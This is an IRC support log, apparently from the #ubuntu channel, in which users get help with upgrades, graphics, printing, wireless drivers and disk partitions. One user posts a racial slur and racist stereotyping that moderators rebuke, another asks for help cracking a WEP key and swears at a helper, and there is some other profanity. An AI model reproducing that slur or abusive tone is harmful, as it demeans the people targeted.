[15:32] <carandraug> maek: you don't? Why not? I'm trying to edit but made no changes. To avoid going offtopic, do you mind anwering in #ubuntu+1 ?
[15:33] <Martiini> what is "landscape-client" .. it is displaying a dialog window  .. Im doing an update
[15:33] <KiDFlaSh> soundray i dont tried
[15:33] <KiDFlaSh> what does it do?
[15:33] <wimpie> soundray: How do you mean if me Networkcard is supported by Ubuntu ?
[15:33] <nox_> fuckin resolution in ubuntu...its shit
[15:34] <soundray> KiDFlaSh: it sets up xorg.conf for you according to settings you make via drop-down lists. It requires that you have at least basic X graphics running.
[15:34] <bazhang> nox_, no cursing
[15:34] <Pici> nox_: That language is not appropriate here, try to keep it clean
[15:34] <soundray> nox_: don't let your frustration spoil your good manners
[15:34] <wimpie> nox_: you got your video Hardware installed ?
[15:34] <nox_> sory but i am little angry
[15:34] <Martiini> "its shit" .. is nigga talk .. isnt it
[15:34] <nox_> hardware installed
[15:34] <bazhang> Martiini, no cursing here
[15:34] <Martiini> nox_:  yo nigga
[15:35] <Martiini> wazzupp
[15:35] <soundray> Martiini: crude racism is particularly unwelcome here
[15:35] <wimpie> GO to terminal: "Locate xorg" pico it and Edit your resolution wanted restart is and maybe it works..
[15:35] <KiDFlaSh> what means GKSUDO
[15:35] <nikki> nox_, Martiini: Be careful about language.
[15:35] <KiDFlaSh> superuser do?
[15:35] <KiDFlaSh> but WHAT GK?
[15:35] <soundray> KiDFlaSh: yes (for graphical programs)
[15:35] <KiDFlaSh> kk
[15:35] <nikki> Like 'sudo', for GTK programs.
[15:36] <Martiini> soundray:  define racism
[15:36] <bazhang> Martiini, stop.
[15:36] <KiDFlaSh> but i have, kde
[15:36] <hiddenx> aloo all :)
[15:36] <KiDFlaSh> soundray:
[15:36] <nox_> ok i try one more time edit xorg.conf....
[15:36] <nikki> Hmm... Sorry, any GUI.
[15:36] <GamingX> Is installing Ubuntu 7.10 and updating to 8.04 an option? I noticed a whole big thread on the same issue I am having and there seems to be no concrete answer to that one. http://ubuntuforums.org/showthread.php?t=765195
[15:36] <wimpie> CAN you guys stop talking crap and go back to the Ubuntu topics...
[15:36] <KiDFlaSh> soundray: i have kde do it work as well?
[15:37] <soundray> wimpie: have you found out the name of your wireless chipset yet?
[15:37] <KDB9000> anyone know how to set up a JetDirect EX Plus 3 Print Server so I can print to a printer on the network from my Laptop running Hardy
[15:37] <soundray> KiDFlaSh: probably
[15:37] <wimpie> soundray: SOmething with realtex still searching for the version..
[15:38] <soundray> wimpie: look at lspci output
[15:38] <GamingX> soundray: What do you think of my question above?
[15:38] <linuxkrn> hey all, wanted to confirm this is a bug before I report it.  Using the "Printer Configuration" I get a "password required" "password for <username> on localhost?" however, I'm using LDAP and my username/group (admin) is provided by LDAP not in /etc/groups.  So I cannot edit/change printers
[15:39] <Martiini> what is "landscape-client" .. its displaying a dialog for me
[15:39] <soundray> GamingX: I think you should try the all_generic_ide boot option. See the factoid:
[15:39] <nikki> Which IRC client are you guys using? I'm on XChat.
[15:39] <soundray> !bootoptions > GamingX
[15:39] <Odd-rationale> nikki: weechat
[15:40] <nikki> Weechat? How's it?
[15:40] <carandraug> linuxkrn: have you tried enabling root account and give the root password. It worked for me once
[15:40] <Martiini> !landscape-client
[15:40] <Odd-rationale> nikki: the best! imo...
[15:40] <nikki> A console based IRC client would be good... I'll have to check it out.
[15:40] <Martiini> !whatis landscape-client
[15:40] <PsiKlops> Ciao! I have an Image ( .iso ) on HDD of LinuxFromScratch that i would like to make bootable ( write in Grub ) Is that possible and if so how ?
[15:40] <capnhector> PsiKlops, make a 700 mb partition
[15:41] <soundray> Martiini: do not fish with the bot
[15:41] <capnhector> PsiKlops, then copy the files in the iso then add to grub
[15:41] <Martiini> soundray:  does ubottu hold definitons about ubuntu related stuff ?
[15:41] <Martiini> how do I query ubottu
[15:42] <carandraug> Martiini: you can query the bot in PM. He doesn't mind
[15:42] <Odd-rationale> Martiini: /msg ubottu Hi!
[15:42] <Martiini> PsiKlops: there is a page about booting iso files .. google it
[15:42] <linuxkrn> carandraug: it's more complicated then that, once ldap is enabled, all authentication is done via ldap, not local files.
[15:42] <Rafik> hello, i'll need some help with gpg. i lost my passwd :/
[15:42] <PsiKlops> capnhector  That my main Issue, what do i write in grub ?
[15:42] <limitedwisdom> hey - so I ran 'apt-get update' and it updated a bunch of stuff - and couldn't find one lib (libpq4)...then i ran 'apt-get upgrade' and it took a long time (77 upgrades)...and ended with "E: Unable to fetch some archives..." (looks like just one)
[15:42] <limitedwisdom> but apache still reports the same version - 2.2.3
[15:42] <limitedwisdom> am I missing something?
[15:42] <deviantintegral> anyone here using the ubuntu netbook remix packages? I have everything working, except ume-launcher displays partially above the laptop screen unless I use windowed mode. Anyone know of a way to reposition it?
[15:43] <Pici> !guidelines > Martiini
[15:43] <livingdaylight> Hola Ubunteros
[15:44] <soundray> limitedwisdom: try 'sudo apt-get -f install' to complete the process in spite of the missing archives
[15:44] <capnhector> root (hd0,2)
[15:44] <capnhector> kernel /boot/vmlinuz root=/dev/hda3 ro
[15:44] <capnhector> initrd /boot/initrd.gz
[15:44] <Martiini> Pici: how is that !guidelines > Martiini supposed to help me ..
[15:45] <livingdaylight> i've just changed monitor from a 19" (widescreen) to my Samsung 26"LCD television. when i booted up i've come to a tiny screen with resolution 640x480 or something ridiculous. So, everything is huge and i can only see small part of Desktop. Screen resolution gives me no other options except an even smaller setting.
[15:45] <soundray> Martiini: for one thing, it might stop you from putting your foot in your mouth again
[15:45] <soundray> Martiini: I'm referring to your crude racial stereotyping above
[15:46] <Martiini> I wasnt offending anyone
[15:46] <limitedwisdom> soundray - do you mean sudo apt-get -f upgrade?
[15:46] <soundray> Martiini: you cannot judge that
[15:46] <edgy> Hi, I want to upgrade my remote dapper to hardy, is it enough just to replace sources.lst and do update and dist-upgrade?
[15:46] <carandraug> capnhector: try using pastebin next time. You just go http://paste.ubuntu.com/ and copy paste the text there and the give the link
[15:46] <soundray> limitedwisdom: no, I meant what I said
[15:46] <Pici> soundray, Martiini: Stop bickering.
[15:46] <Pici> Martiini: Please read the guidlines and act accordingly.
[15:47] <Martiini> can anyone tell me how to input definitions into ubottu
[15:47] <limitedwisdom> hrm - it just installs one thing (liblockfile1)
[15:47] <Martiini> stop bombarding me with crap now please
[15:47] <soundray> edgy: no, there is a recommended procedure
[15:47] <carandraug> edgy: I believe you have to go through all the intermediate distros. There should be a button in the update manager window
[15:47] <Pici> Martiini: /msg ubottu usage and read the wiki page it gives you
[15:47] <soundray> !upgrade | edgy
[15:47] <capnhector> @ carandraug thanks forthe link
[15:47] <Pici> capnhector: Not for Dapper to Hardy.  LTS to LTS upgrades are supported.
[15:48] <soundray> carandraug: no, you can go from dapper to hardy direct (not from any of those in between, though, up to feisty)
[15:48] <edgy> soundray, carandraug: but it's a remote server and I wouldn't like to use GUI because of a very slow connection
[15:48] <soundray> edgy: there is a command line procedure as well
[15:48] <crlcan81> hey
[15:49] <jadams__> I can't seem to figure out how to mount a webdav directory automatically on boot and get permissions right
[15:49] <edgy> soundray: I couldn't find the cli procedure
[15:49] <jadams__> I'll make a file in the folder, and it'll disappear into the lost+found on that folder almost immediately
[15:49] <carandraug> Pici: soundray: upps. Ok. I won't error on that one again
[15:49] <Pici> edgy: https://help.ubuntu.com/community/HardyUpgrades#Network%20Upgrade%20for%20Ubuntu%20Servers%20(Recommended)
[15:49] <soundray> edgy: https://help.ubuntu.com/community/HardyUpgrades#Network%20Upgrade%20for%20Ubuntu%20Servers%20(Recommended)
[15:50] <limitedwisdom> i wonder if apt-get is looking for some outdated things (it has a lot of errors in 'apt-get update' mostly for ubuntu stuff...is there a way to update the list that it searches?
[15:50]  * soundray bows to Pici
[15:50] <capnhector> limitedwisdom, you add repos to your sources.list
[15:51] <limitedwisdom> how do I remove them - it's looking for a lot of security.ubuntu.com stuff that it can't find
[15:51] <limitedwisdom> is there an up to date list I can just replace my list with?
[15:51] <capnhector> limitedwisdom, id also upgrade to 8.04 as that will help your problems
[15:51] <limitedwisdom> :)
[15:51] <edgy> Pici, soundray: thanks a lot for the nice links
[15:51] <limitedwisdom> sweet.
 - at least I'm learning a lot about ubuntu in the process...
[15:52] <capnhector> limitedwisdom, at least your learning
[15:53] <soundray> limitedwisdom: please only write relevant stuff in here. Can you run 'sudo apt-get -f install' once more and see if it does anything.
[15:53] <Martiini> I get "ubottu	Your edit request has been forwarded to #ubuntu-ops."  are there people who review everything sent to ubottu ??
[15:53] <Martiini> how about leaving ubottu open to all users
[15:53] <tore> anyone seen a .deb of fluxbox 1.1.0?
[15:53] <limitedwisdom> same as b4
[15:53] <soundray> limitedwisdom: it should report "0 upgraded, 0 newly installed, 0 to remove..." as the last line
[15:54] <limitedwisdom> correct
[15:54] <wimpie> soundray: The only thing I found about me Wireless (WiFi) card is Atheros Wireless.. there is noting about me Notebooks Wireless cards versions (got the Notebook Packard Bell Easynote SJ51-B-042)
[15:54] <Pici> Martiini: We'd rather not be open to that sort of abuse.
[15:54] <carandraug> tore: checked the experimental repositories of debian?
[15:54] <soundray> limitedwisdom: what does "apt-cache policy apache2" say under Installed: ?
[15:54] <Martiini> Pici:  how can u review everyting sent to ubottu .. its impossible
[15:55] <soundray> wimpie: did you run lspci, like I suggested?
[15:55] <artti> Hey! I'm trying to get working plugin that shows what i listen. But it doesn't look like working. Can anyone provide help?
[15:55] <limitedwisdom> 2.2.3-3.2build1
[15:56] <Pici> Martiini: Only factoid edits are sent.  You use the word 'is' in that message and the bot thought you were making an edit.
[15:56] <wimpie> soundray: Not yet but I tried before (on Xubuntu now I got Ubuntu) but no results will look again
[15:56] <voidv> otgary
[15:56] <Martiini> Pici:  how is contributing to ubottu database considered "abuse" ??
[15:57] <edgy> soundray: I don't understand the use of apt-cache policy people here use sometimes, is it only to tell you whether you are using the latest package?
[15:57] <wimpie> Soundray: Can I open a Private chat with you so I can spam the report ?
[15:57] <Pici> Martiini: Because people submit bad things.
[15:57] <soundray> edgy: it's to find out what package is installed, what candidate is available and which one apt would prefer if you were to upgrade.
[15:58] <soundray> wimpie: no, please use a pastebin
[15:58] <soundray> !pastebin | wimpie
[15:58] <Martiini> Pici:  define "bad things"
[15:58] <limitedwisdom> attempting upgrade to see if that fixes some of these problems. thank you for the recomendation.
[15:58] <Gnea> Martiini: how can something as simple as moderation be impossible? it's not really an on-topic discussion..
[15:58] <Martiini> how do I contribute to ubottu database then
[15:58] <edgy> soundray:  "what candidate is available and which one apt would prefer if you were to upgrade" is not clear, wouldn't apt always prefer the latest if I upgrade?
[15:59] <Pici> Martiini: Things we don't need factoids for, bad advice, cursing, etc... if you want to discuss the policy you can join us in #ubuntu-ops to do so,
[15:59] <ripper098> got a problem guys dpkg here it is in paste bin
[15:59] <ripper098> http://paste.ubuntu.com/44926/
[15:59] <Martiini> Gnea: moderation .. can u moderate society .. or information .. its impossible ..
[15:59] <carandraug> tore: it's on debian sid repositories, but you sure you want to install that one? http://packages.debian.org/sid/x11/
[15:59] <soundray> edgy: no, there is a process called pinning with which you can prefer older versions or repos if necessary.
[15:59] <soundray> !pinning | edgy
[15:59] <Gnea> Martiini: this is Ubuntu, not the whole of human society or any other portion thereof.
[16:00] <Martiini> Gnea:  are u prepared to talk to me ,, please
[16:00] <Martiini> yes or no
[16:00] <edgy> soundray: aha! and that pinning is normally done by the user not by ubuntu people?
[16:00] <ripper098> i hate having the best of the best crap ubuntu never reconizes it
[16:00] <Gnea> Martiini: respect of borders is crucial in such terms. please, #ubuntu-ops is the place to discuss this.
[16:00] <Plouj> what's a graphical program used to select video drivers in Ubuntu?

[16:06] <derben> anybody an idea how to fix a "dangling symlink"?
[16:06] <os2mac> I know how to do that ... just put it in roots crontab.... so that's the answer?
[16:06] <adamantiq> is this the right place for tech help?
[16:07] <capnhector> adamantiq, yes it is
[16:07] <KDB9000> Is it possible to print to a network print server from Hardy?
[16:07] <Dred_furst> anyone have any ideas?
[16:07] <Dred_furst> Yes KDB9000
[16:07] <os2mac> KDB9000: yes I do it every day.

[16:08] <KDB9000> I am having trouble printing to my Laserjet 4100 using a JetDirect EX Plus3 print server (the card went bad)
[16:08] <legend2440> adamantiq: http://ubuntuforums.org/showthread.php?t=23467
[16:08] <Dred_furst> tell it is at a jet direct box and give it the IP
[16:08] <adamantiq> legend2440 thanks i'll have a look
[16:08] <os2mac> unop: ?
[16:08] <KDB9000> It is also a 3 port print server, so i can have 3 printers on this one
[16:09] <Unoqueanda> anyone here know if i can use my 4965agn (wifi card) with the lastest ubuntu version ???
[16:09] <Dred_furst> set it to the representative port
[16:09] <bazhang> Unoqueanda, what have you tried so far
[16:09] <unop> os2mac,  if you want to run a command as root .. place the job in /etc/crontab
[16:09] <KDB9000> Dred_furst, I have tried that already. it works find with the other 4100 that has the card in it, it is just this one with the jetdirect print server
[16:09] <os2mac> unop: for root?
[16:09] <Dred_furst> what is this "card"
[16:10] <Unoqueanda> bazhang i dont undestand u
[16:10] <xukun> is it possible to make iso dvd 9 to dvd5 format?
[16:10] <unop> os2mac, for root yes .. though you could use sudo there to have the command run as another user - by the virtue of sudo not prompting root for passwords
[16:10] <bazhang> Unoqueanda, you have ubuntu hardy installed?
[16:10] <Unoqueanda> yeah
[16:10] <os2mac> Unoqueanda: who makes the card.
[16:10] <Gnea> Unoqueanda: he's asking if you've tried plugging the card in or booted ubuntu up to try to use it.
[16:10] <remoteCTR1> can i somehow resize a swap partition?
[16:10] <Bleemus> anybody know of Ubuntu software that supports my Sandisk CompactFlash USB card reader?
[16:10] <adamantiq> legend2440 - there is no .ICEauthority file in my home, and I am looking with hidden files viewable
[16:10] <Dred_furst> ok the error I am getting is "NETDEV WATCHDOG: eth0: transmit times out -> eth0 Transmit timed out, status 0003, PHY status 786d, resetting..."
[16:11] <Gnea> Bleemus: just plug it in :)
[16:11] <unop> remoteCTR1, sure, disable swap and use something like [g|qt]parted
[16:11] <MrKennie> Bleemus: does it not jsut work out of the box?
[16:11] <bazhang> Unoqueanda, what does ifconfig show; two entries or three
[16:11] <remoteCTR1> unop: its on a server
[16:11] <KDB9000> Dred_furst, the 4100 have a little spot were you can put a JetDirect network card into the printer. Most out our 4100's have them but one went back and never got a replacement, so we use this external printer server. It sees the address and that it is a 4100 but it won't print to it.
[16:11] <Dred_furst> as soon as it tries to send a packet it dies
[16:11] <Unoqueanda> i want to crack my wep password but i cant inject
[16:11] <remoteCTR1> unop: and how do i disable swap?
[16:11] <KDB9000> Dred_furst, sorry, one went bad is what i ment to say
[16:11] <bazhang> Unoqueanda, why do you need to do that for your own password
[16:11] <soundray> wimpie: sorry, just had to work for a sec. There is no wireless device listed, which probably means that it's on the USB. Could you pastebin lsusb output pls?
[16:11] <unop> remoteCTR1, parted is a command-line/curses app.  swapoff to disable swap
[16:12] <remoteCTR1> unop: nice, thanks!
[16:12] <Unoqueanda> bazhang to investigate
[16:12] <Dred_furst> so have you put ubuntu to point at the new print server
[16:12] <adamantiq> anyone, any ideas about "session lasted less than 10 seconds" when no .ICEauthority file present?
[16:12] <bazhang> Unoqueanda, please clarify
[16:12] <limitedwisdom> where can i get a fully updated sources.list?
[16:12] <Unoqueanda> fuck off
[16:12] <wimpie> soundray: Wich option from lsusb output ?
[16:12] <edgy> Pici, soundray: after finishing sudo do-release-upgrade -p I got, E:Some index files failed to download, they have been ignored, or
[16:12] <edgy> old ones used instead.
[16:12] <edgy> Restoring original system state

[16:12] <FloodBot2> edgy: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[16:12] <KDB9000> Dred_furst, yes, but it won't print. i tried a test print and it doesn't do anything.
[16:12] <Tulimaq> ﻿adamantiq: is /tmp and your home forder writable ?
[16:12] <edgy> oops! sorry
[16:13] <soundray> wimpie: just plain 'lsusb' and pastebin please
[16:13] <Bleemus> thanks Gnea and MrKennie, it works fine, I feel stupid
[16:13] <unop> Gnea, ??
[16:13] <wimpie> k
[16:13] <Gnea> unop: ah sorry, tab completion caught just after he left
[16:13] <bazhang> unop, it was a mis-tab
[16:13] <unop> ahh
[16:13] <legend2440> adamantiq: in terminal try      locate .ICEauthority
[16:13] <adamantiq> Tulimaq - thanks, i'll check
[16:13] <edgy> Pici: how shall I proceed now after this abort?
[16:13] <stickboy> i'm trying to install cdemu or gcdemu and when i try i get the following errors. http://paste.ubuntu.com/44734/ anyone know why? i need to mount an iso to install under wine. anyone know of another program to use?
[16:13] <wimpie> soundray: http://paste.ubuntu.com/44934/
[16:14] <Gnea> Bleemus: no, the only stupid ones are the ones who get all pissy and then storm out of the room ;)
[16:14] <MrKennie> aye
[16:14] <vikku> can some one help me install the headers ... iam getting following err msg http://paste.ubuntu.com/44932/
[16:14] <D1sa5t3r> stickboy, why under wine
[16:14] <Bleemus> he he
[16:14] <limitedwisdom> where can i get a fully updated sources.list?
[16:14] <bazhang> limitedwisdom, for hardy?
[16:15] <unavailable> using ibex, i cant get hibernate working, am currently in ubuntu+1 but no answers to my questions
[16:15] <soundray> wimpie: there it is, on line 3. Are you on hardy?
[16:15] <limitedwisdom> well - I'm running ubuntu fiest fawn 7.0.4 and trying to upgrade - but it keeps failing because it can't find everything - I think my sources list is pooched.
 i need to install a windows program. don't have the disk with me at college but i have the iso.
[16:15] <KDB9000> Gnea, thx for the printer help from the help site, but none of it will help.
[16:15] <limitedwisdom> so - i'm not sure what I should be doing.
[16:15] <vikku> can some one help me install the headers ... iam getting following err msg http://paste.ubuntu.com/44932/
[16:15] <bazhang> limitedwisdom, pastebin it to paste.ubuntu.com and let us take a look
[16:16] <wimpie> soundray: Yes I running Ubuntu Hardy 64-bit
[16:16] <D1sa5t3r> but u dont need wine to mount .iso
[16:16] <limitedwisdom> will do - I just changed it though to match an ubuntu forum topic I found and that made it much worse :s
[16:16] <os2mac> bazhang: couldn't he just reset the repository server and redownload the db?
[16:16] <cocotico> i have a question I'm trying to install the ubuntu  but its giving me problems with ext3 partition
[16:16] <cocotico> need help
[16:16] <bazhang> limitedwisdom, you know where it is and how to paste it to paste.ubuntu.com ?
[16:16] <airtonix> stickboy, 1. sudo mkdir –p /mnt/iso
[16:16] <adamantiq> legend2440 I'm running the livecd cos can't access the installation at all - will .ICE still exist?
[16:16] <airtonix> stickboy, 2. sudo mount -o loop disk1.iso /mnt/iso
[16:16] <soundray> wimpie: hang on for a sec
[16:17] <limitedwisdom> figuring it out now :)
[16:17] <bazhang> cat /etc/apt/sources.list limitedwisdom
[16:17] <airtonix> stickboy, /mnt or as ubuntu likes /media
[16:17] <vikku> can some one help me install the headers ... iam getting following err msg http://paste.ubuntu.com/44932/
[16:17] <bazhang> os2mac, he is using feisty fawn though
[16:17] <limitedwisdom> got it
[16:17] <limitedwisdom> http://paste.ubuntu.com/44935/
[16:17] <adamantiq> Tulimaq - just noticed /home is full 0 bytes free cos folder called lost+found appeared
[16:17] <bravo7_> Can I make more screen larger
[16:17] <limitedwisdom> (very easy to use interface on paste - thank you).
[16:18] <bravo7_> My maximum resolution is 1280x1024
 so that mounts it and i just follow normal wine installation procedure?
[16:18] <D1sa5t3r> too big
[16:18] <D1sa5t3r> :D
[16:18] <_neko08__> What is url for ubuntu compat hardwares?
[16:18] <bazhang> limitedwisdom, you have all edgy repos. you are running feisty?
[16:18] <limitedwisdom> like I said - I think it's worse now than it was before I tried to "improve" my sources list.
[16:18] <soundray> wimpie: there is a factoid for your device:
[16:18] <soundray> !realtek > wimpie
[16:18] <os2mac> bazhang: so he changes the repository to get a good current apt-db then runs dist-upgrade. wouldn't that work?
[16:19] <vikku> can some one help me install the headers ... iam getting following err msg http://paste.ubuntu.com/44932/
[16:19] <arquebus> how do I go into text only mode in hardy?
[16:19] <stapel> can anyone help me setting up a samba shared folder on ubuntu-server?
[16:19] <wimpie> Soundray: thanks I will follow that WIki :)
[16:19] <limitedwisdom> os2mac: how do I do that?
[16:19] <os2mac> limitedwisdom: hang on a sec.... let us work this out....
[16:20] <limitedwisdom> excellent - thank you both very much for your assistance.
[16:20] <D1sa5t3r> stickboy, or u can use acetoneiso
[16:20] <os2mac> bazhang: ?
[16:20] <bazhang> limitedwisdom, feisty is supported for only three more weeks; you may consider upgrading to gutsy or hardy before then
[16:20] <soundray> arquebus: select recovery mode from the grub menu, or run 'sudo invoke-rc.d gdm stop' (this will kill X)
[16:20] <airtonix> stickboy, it should yes
[16:20] <os2mac> also he is pointing all his stuff to the new repositories.
 hi
 I'm in gtkrc, what is the name for the top panel for the treeview?
 It is where the word "Places" is displayed
[16:20] <arquebus> thx soundray
[16:20] <wimpie> soundray: could not use that guide because the router is securet with WPA
[16:20] <os2mac> bazhang: can he skip?
[16:21] <Dabbu>  i connect to internet using DSL USB modem maximum time it works perfectly.i connect using wvdial but sometime when network is slow it get disconnected and reconnected in a loop manner,today it disconnected after 520 minutes but generally it disconnectes and connect after 20-30 sec when network is slow.any help
[16:21] <vikku> can some one help me install the headers ... iam getting following err msg http://paste.ubuntu.com/44932/ :(
[16:21] <airtonix> stickboy, to make it easier i think there are about three nautilus addons that puts this action in the right click menu
[16:21] <KDB9000> os2mac, what kind of print server are you using/
[16:21] <bazhang> os2mac, skip to gutsy or hardy; only upgrade path is gutsy-->then hardy
[16:21] <soundray> wimpie: in that case I think ndiswrapper may rescue you
 hi
 I'm in gtkrc, what is the name for the top panel for the treeview?
 It is where the word "Places" is displayed
[16:21] <pen> oops
[16:21] <FloodBot2> pen: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[16:21] <soundray> wimpie: found this blog, don't know how good it is: http://quilombo.wordpress.com/2008/03/07/realtek-rtl8187b-working-in-ubuntu-710-using-ndiswrapper/
[16:21] <remoteCTR1> unop: im having some problem with parted: resize demands for a number which swap of course doesnt have and it wants a start and an end, what would that be?
[16:21] <MrKennie> vikku: sudo apt-get install linux-headers-2.6.20-15-server should do it.
[16:22] <wimpie> soundray: K thanks I will test that..
[16:22] <attickid> ey help please, I cant see my ntfs partition after I closed windows uncleanly..I rebooted and turn off windows cleanly and then started on linux but it doesnt work..I cant see ntfs from linux
[16:22] <bazhang> limitedwisdom, do you have a seperate home partition
[16:22] <V0Dk> Hi everyone!
[16:22] <os2mac> bazhang: so he is on fiesty... so he has to upgrade Fiesty-Edgy-Gutsy-Hardy. which is probably what he's trying to do.
[16:22] <soundray> wimpie: ndiswrapper procedures won't have changed too much between 7.10 and 8.04
[16:22] <limitedwisdom> no.
 any idea where to get?
[16:22] <bazhang> os2mac, efgh :)
[16:22] <unop> remoteCTR1,   parted -l  should list those parameters,  start and end are blocks
[16:22] <limitedwisdom> correct - I'm trying to get to 7.10 so I can then go to 8.0.4 (maybe)
[16:22] <stapel> is there a separate channel for ubuntu server related questions?
[16:22] <MrKennie> vikku: you added 2.6.20-15.27
[16:22] <vikku> MrKennie: its working it seems, thnks
[16:22] <remoteCTR1> unop: how do i determine those blocks?
 i'm on hardy 64bit btw
[16:23] <KDB9000> os2mac, do you use the printers internal print server or an external one?
[16:23] <os2mac> bazhang: sorry I just explained to someone else... it's early for me.
[16:23] <unop> remoteCTR1, parted -l  lists those
[16:23] <airtonix> os2mac, reason he is asking wether home is on second partition is that a clean install is always preferred over an unpgrade
[16:23] <remoteCTR1> unop:  kk thanks
[16:23] <os2mac> KDB9000: I use a linksys wireless print server.
[16:23] <airtonix> os2mac, with home on the second partition windows and linux reinstalls are much less painful
[16:23] <MrKennie> vikku: the list it offers, the right most info just informs you of the exact version they are fot
[16:23] <KDB9000> os2mac, to USB or Parallel?
[16:23] <stapel> is there a separate channel for ubuntu server related questions?
[16:23] <os2mac> KDB9000: usb
[16:23] <bazhang> limitedwisdom, that repos list is still not right though; best to reset to what it was and then upgrade (minus the third party repos)
[16:24] <stapel> hh
[16:24] <soundray> stapel: no, just ask here.
[16:24] <vikku> MrKennie: hmmm was thinking abt it that way but was not sure.... thnks again
[16:24] <bazhang> #ubuntu-server stapel
[16:24] <MrKennie> vikku: np
[16:24] <airtonix> stickboy, have a look through apt-get or your favorite package search tool
[16:24] <remoteCTR1> unop:  says invalid option -- l
[16:24] <soundray> stapel: oops, sorry stapel, thanks bazhang
[16:24] <limitedwisdom> I know I'm a tool - but I didn't save it before I changed it (and I should know better)
[16:24] <KDB9000> os2mac, ah. i think because those are newer and that it is USB it won't help me. we are using a 3 port external (all parallel) and the printer in plugged in that way.
[16:24] <yusuf_> me clap hands
[16:24] <stapel> I want to share a folder with samba
[16:24] <wimpie> Soundray: Yeah I read it and I think it might work yes will test it now :) very thanks :)
[16:24]  * yusuf_ clap hands
[16:25] <bazhang> yusuf_, do you have a ubuntu support question
[16:25] <os2mac> KDB9000: but you should still be able to use CUPS to point to a shared printer....you said the jetdirect card failed so your using a computer as a print server?
[16:25] <soundray> wimpie: hope you can get it to work. If you get stuck, come back and describe the problem.
[16:25] <stapel> connect with croossover cable to server and be able to access that folder
[16:25] <unop> remoteCTR1, hmm.  are you sure you have it down as.   parted -l
[16:25] <attickid> ey help please, I cant see my ntfs partition after I closed windows uncleanly..I rebooted and turn off windows cleanly and then started on linux but it doesnt work..I cant see ntfs from linux
[16:25] <yusuf_> sorry got mixed up with the commands, new to ubuntu and linux
[16:25] <jason_> #logs
[16:25] <MrKennie> attickid: you probably need to run chkdsk in windows
[16:26] <KDB9000> os2mac, no. the internal (removable) network card for the 4100 died, so we are using an external jetdirect though a parallel cable. I am trying to connect to that.
[16:26] <remoteCTR1> unop: heh sorry dude but i dont understand that phrase to have it down?
[16:27] <unop> remoteCTR1, to "have it down"  is like to have "written it down"
[16:27] <attickid> MrKennie:thank you..
[16:27] <MrKennie> attickid: np
[16:27] <remoteCTR1> unop: yes sure i am sure:)
[16:27] <KDB9000> os2mac, here is a pic of it. http://www.fieldelectric.co.uk/manage/gallery/hp%20jet%202.JPG
[16:27] <attickid> MrKennie:I can perfectly access my files from windows, is there any risk to lose my data?
[16:27] <KDB9000> os2mac, bbl, got some thing i need to take care of right now.
[16:27] <airtonix> stickboy, also could explore using nautilus-scripts to mount/unmount iso : http://www.ubuntugeek.com/mount-and-unmout-iso-images-without-burning-them.html
[16:27] <stetho> Is there a way to merge the contents of three folders (with ether A + B + C or A+B = AB and then AB + C) removing duplicates and preserving folder structure?
[16:27] <unop> remoteCTR1, hmm, not sure why that is.  the version i have (parted (GNU parted) 1.8.8)  has an option -l  (or --list)
[16:27] <soundray> unop: did you mean fdisk -l perhaps?
[16:27] <limitedwisdom> ah - just found the sources.list template for fiesty 7.0.4 on the ubuntu Web site.
[16:28] <limitedwisdom> will change to it and see what happens.
[16:28] <unop> soundray, no, not really
[16:28] <MrKennie> attickid: you should be fine running chkdsk in windows, you will need to reboot windows for it to scan, though
[16:28] <remoteCTR1> unop:  i have a help option but that gives that cryptic stuff that i dont quite understand...
[16:28] <vikku> ok , does compiling something from source ie doing 1>compiling, 2> make;make install affect the c libraries of your host system ?
 thanks i'll look into it
[16:28] <jameslr> stetho: you could probably whip something up with rsync
[16:28] <soundray> unop: I get an invalid option on parted -l, too
[16:28] <grobda24> Where are the sessions config files ?
[16:28] <attickid> MrKennie: Thank you
[16:28] <vikku> ok , does compiling something from source ie doing 1>configure, 2> make;make install affect the c libraries of your host system ?
[16:28] <unop> soundray, remoteCTR1 what version of parted do you guys have?
[16:28] <MrKennie> attickid: ubuntu probably refuses to mount it if it has a certain flag set.
[16:29] <MrKennie> AtomicMongoose: which clears when you run chkdsk
[16:29] <soundray> unop: 1.7.1
[16:29] <MrKennie> oops
[16:29] <unop> soundray, ok, that might explain it - i've got 1.8.8 here (though it was built from source)
[16:29] <remoteCTR1> unop:  that would be 1.7.1
[16:29] <soundray> unop: what does -l do?
[16:29] <unop> remoteCTR1, errm, go through the manpage, see if you have an alternative
[16:30] <MrKennie> vikku: no, in some of cases that will just install to /usr/local too
[16:30] <jameslr> stetho: it would look something like this: rsync -av A/ B/ and the same for B/ C/
[16:30] <unop> soundray,  -l is --list -- dumps layout information pretty much like  fdisk -l does
[16:30] <grobda24> vikku, not recommended, but see https://help.ubuntu.com/community/CompilingEasyHowTo
[16:30] <remoteCTR1> unop: what am i looking for? there is not much there that i would consider useful
[16:30] <unop> remoteCTR1, something to list partitions, dump information about disk layout/geometry perhaps?
[16:31] <remoteCTR1> unop:  no such thing...
[16:31] <jameslr> stetho: if you want rsync to delete the source i think you can just use --delete in your command.
[16:31] <stapel> mmm...#ubuntu-server is a bit slow....can anyone here help me?
 went to install acetoneiso and said i had some dependency issues. went into update and found a bunch of stuff listed. said i had to look for something looking the broken filter...
[16:31] <grobda24> I've searched the wiki, the forums, google, the moon. Where are the config files for the sessions ?
[16:31] <Gun_Smoke> stapel, well that would depend on what is wrong.
[16:31] <vikku> MrKennie: & grobda24: will check out some info , btw iam virtualizing the Ubuntu using Qemu for all this purpose
[16:32] <soundray> jameslr: --delete removes files in the destination that aren't present in the source
[16:32] <unop> remoteCTR1, ahh well, I guess you'll have to seek out an alternative to parted .. does the remote server have X installed, you could use gparted or qtparted over SSH
[16:32] <unop> ?
[16:32] <stapel> trying to share a folder with samba...not quite sure how to edit smb.conf
[16:32] <remoteCTR1> unop: soundray i dont understand in the first place why ubuntu makes a 443GB big swap partition isnt that a little ridiculous?
[16:32] <m1dn1ght> Hey guys - just made a pretty stupid mistake.  Wanting to view an html file owned by root in firefox I closed firefox and ran it from the shell with sudo.  worked fine, I could read the html file.  Upon closing firefox and re-running it as normal user however, all of my bookmarks/saved passwords etc seem to have gone.  Is there any way to restore that?
[16:32] <wimpie> soundray: I now at the bit that I have to download a WIndows Driver wich one do I have to use when I got a 64-bit Ubuntu version ??
[16:32] <MrKennie> vikku: I read your question wrong, go with what grobda24 suggested. Also make sure you read the documentation that comes with the source you are compiling.
[16:32] <remoteCTR1> unop: can that work with a live cd?
